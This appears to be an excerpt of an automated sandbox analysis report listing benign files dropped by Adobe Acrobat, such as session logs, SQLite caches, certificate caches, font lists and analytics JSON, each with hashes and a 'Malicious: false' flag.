SSDEEP:	6:iO4p595qM+q2PcNwi2nKuAl9OmbzNMxIFUtSp5lbZZmwsp5CrMVkwOcNwi2nKuAo:7u595qM+vLZHAa8jFUtE5lbZ/K5uMV5Y
MD5:	1C49C3BE54F7EEEC2DC8744551791D39
SHA1:	4D0238F6AEF5392D4D5FD26E78F95D70A3087311
SHA-256:	B646B8207046A640FE5755C0F705BEA561E111AEE26FAAC7097D5AEA581393D4
SHA-512:	6933847299228C9CE82B2181C04B470307F0258E00D33E5651F8F3E0D69620B742A1162DB208A95DEF41BD6FC682FD6B9916658CF57E63E7056FEFB2DB1EE49A
Malicious:	false
Preview:	2025/01/10-16:35:42.811 1d6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:35:42.819 1d6c Recovering log #3.2025/01/10-16:35:42.820 1d6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.2194526396066605
Encrypted:	false
SSDEEP:	6:iO4p595qM+q2PcNwi2nKuAl9OmbzNMxIFUtSp5lbZZmwsp5CrMVkwOcNwi2nKuAo:7u595qM+vLZHAa8jFUtE5lbZ/K5uMV5Y
MD5:	1C49C3BE54F7EEEC2DC8744551791D39
SHA1:	4D0238F6AEF5392D4D5FD26E78F95D70A3087311
SHA-256:	B646B8207046A640FE5755C0F705BEA561E111AEE26FAAC7097D5AEA581393D4
SHA-512:	6933847299228C9CE82B2181C04B470307F0258E00D33E5651F8F3E0D69620B742A1162DB208A95DEF41BD6FC682FD6B9916658CF57E63E7056FEFB2DB1EE49A
Malicious:	false
Preview:	2025/01/10-16:35:42.811 1d6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-16:35:42.819 1d6c Recovering log #3.2025/01/10-16:35:42.820 1d6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.439026075942175
Encrypted:	false
SSDEEP:	384:yeaci5GiiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1SurVgazUpUTTGt
MD5:	F14CE4B0BA4A612DE149A01EDFAAC6BD
SHA1:	B2D4D590D2039AB97E4FEAB5A6B66A723FC7FA9C
SHA-256:	4F540B92004DDB6C63DEA542293F22FDF2A6EF05E95868A9E541DECE132EA609
SHA-512:	9F2D28B30332804778F8F207149BA219036569998242223237307262A30D0E3F04B4BEE68B1F68F6931F16EF8ACB629CD74439EB1249592806FD74EBE3C91B25
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7756070004896234
Encrypted:	false
SSDEEP:	48:7MvWp/E2ioyVoioy3DoWoy1CABoy1UKOioy1noy1AYoy1Wioy1hioybioyioy1n9:7lpjuo0iAEXKQD+b9IVXEBodRBkE
MD5:	1E755E7625B0042E8A881B9C348DDB29
SHA1:	46E612D68B601EF12B73BC0F0DA0A931FC8C2A91
SHA-256:	92FDDB4FE1A3372D8C79349AEBCF48FA0C2EAFDA49D303F71A9B4F3BBBE5B68D
SHA-512:	165FE74D9F31EB7F9729495D08F78A7594041A18FA2DDD8E221C26BE20460B7ACD14D31B6FFD4E918AC36EA4922B864EC82DB1115632B6080C341605D15ACE12
Malicious:	false
Preview:	.... .c.......H................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklKg07CpstfllXlE/HT8k0Z7/XNNX8RolJuRdxLlGB9lQRYwpDdt:kKTiseT8PVNMa8RdWBwRd
MD5:	FA15315B7B231A785DC94B4E1C6EB3CD
SHA1:	F335E12B6C8F96B34993F4DFE47209D96AE9FFBF
SHA-256:	653607B59AD24FFDC389591779794632498F3FB554E6800B09A04A14A9967DD9
SHA-512:	248A9089CF151F3F4FEB263FDCD17EFF2F26D9C7BF2847DD2AFFAAADD447C3E0BB60E7592D2FB2F675DB0CBE810CC88B7C52B6C593E4D37A67A2D1341EFD5766
Malicious:	false
Preview:	p...... ........y.Q..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kKqVL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:CViDnLNkPlE99SNxAhUe/3
MD5:	F1FA15C1C93D651DCF6A7B3A475A5B1F
SHA1:	F465C1F76285112CB03EF93BAB7FED36EB2E1A23
SHA-256:	9ABB96952406ABFCACA8BC32CEA9BD55E095A3EE223BA7B5963B6D3B24322099
SHA-512:	E8E5ADA53D9E7434BAFD63BC6DD25072E7F51E79683577FAF32F830525BF755CC52A24E72E8944F5841D0A4FC87C3522428F332C2952079961795F1555CD549A
Malicious:	false
Preview:	p...... ...........c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6560

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6560

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.366774889976056
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNgP3WsGiIPEeOF0Yc9UoAvJM3g98kUwPeUkwRe9:YvXKXCusdTeOqGMbLUkee9
MD5:	19EA2064FA93D84E3330A9180F20FE74
SHA1:	820C80D73DEC796746CE3EFF8FE4B1EC9B1D51D6
SHA-256:	FCDC7E63B8DC81F815DFF63963F71FDA90224389CE1ADD39D42BBEA3F431804C
SHA-512:	66D8D03997D0C6213CDDA7103FA83816159C6FCA6D4BF6316E833B1E50B33C04DBBA9E7358691A65C61FAF13F510AAC49A35466CA4862356EC9BE75B9A65BF57
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e53243e-566f-4ccc-b6a2-50f5ccb338f5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736720692281,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.299980624644372
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNgP3WsGiIPEeOF0Yc9UoAvJfBoTfXpnrPeUkwRe9:YvXKXCusdTeOqGWTfXcUkee9
MD5:	5A0488E55D72CC9AE5BCC6C60E1E02E7
SHA1:	E2BFDC8BA2F18F63EA6EC32E632DB8E15FE70C1C
SHA-256:	83BF44B742548C8EF7BE2E31DFB8E8CCEB4F2E15142291C4B01B74B30FEA2692
SHA-512:	16AC14ED33C61C30B42BDE79FA79B237FBFC4D78645FE9A70FD0DC0A1542D25737F44A0D9610B1F2F7B7564A4C7CACC570AC57711FEAD45A8DD9C24BAB29E5EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e53243e-566f-4ccc-b6a2-50f5ccb338f5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736720692281,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.277390887355147
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNgP3WsGiIPEeOF0Yc9UoAvJfBD2G6UpnrPeUkwRe9:YvXKXCusdTeOqGR22cUkee9
MD5:	5814CB599E56792E46500A119ACD08CE
SHA1:	9DBF7A955B3DB2565A7B09B165043B9C12F78983
SHA-256:	F6A949B1060203A2123B622ED4F1818445A3F0B27951F0A988684BECB10088F0
SHA-512:	049A94CD943084B5ADF5A660C9981D818C364E2BFC0CA001ED5805B90BE5DF81DAA45E25AA730B344FBCD548B41BBCF4492C5E8B4CA6E28226315D97FDEF5CB6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e53243e-566f-4ccc-b6a2-50f5ccb338f5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736720692281,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.353772895013638
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNgP3WsGiIPEeOF0Yc9UoAvJfPmwrPeUkwRe9:YvXKXCusdTeOqGH56Ukee9
MD5:	C1E9277A330D3EB2701414E0639F9FDF
SHA1:	1C5E61A3EE6C1B28B11909B3F8D4F4623AECF307
SHA-256:	1E8DA3D2618F8499758C7B13EADE64A2543D891D76AE07AC941F6E0617973355
SHA-512:	344092BE3620E51A583999DB21EB021AE5F301F6AC57293DF92D54AA39F1474934A5F0765F75D795F250C9870B804F04F709E044C35633E2412DAA4C4378A83A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e53243e-566f-4ccc-b6a2-50f5ccb338f5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736720692281,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687125219070016
Encrypted:	false
SSDEEP:	24:Yv6XtmeOnpLgE9cQx8LennAvzBvkn0RCmK8czOCCSK:Yvhewhgy6SAFv5Ah8cv/K
MD5:	FF20AAA83027E58D0C7E729E7B2C96CE
SHA1:	B4AFAB119592D3B51168FAF671BEF4FBEB5A6440
SHA-256:	5892640F32BF33825B31CEAB0A932FE79FD4A36BB045FAFE6403D06A7680313D
SHA-512:	309320782BBF5783A11A3E7D469B45796BDF214E8E859AE5CC84EA68213C25C249E7B2CB56C3EC9C3440DB27CD69B581A7FD5DF6F52558361526B0D7D0B38485
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7e53243e-566f-4ccc-b6a2-50f5ccb338f5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736720692281,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291638183793641
Encrypted:	false
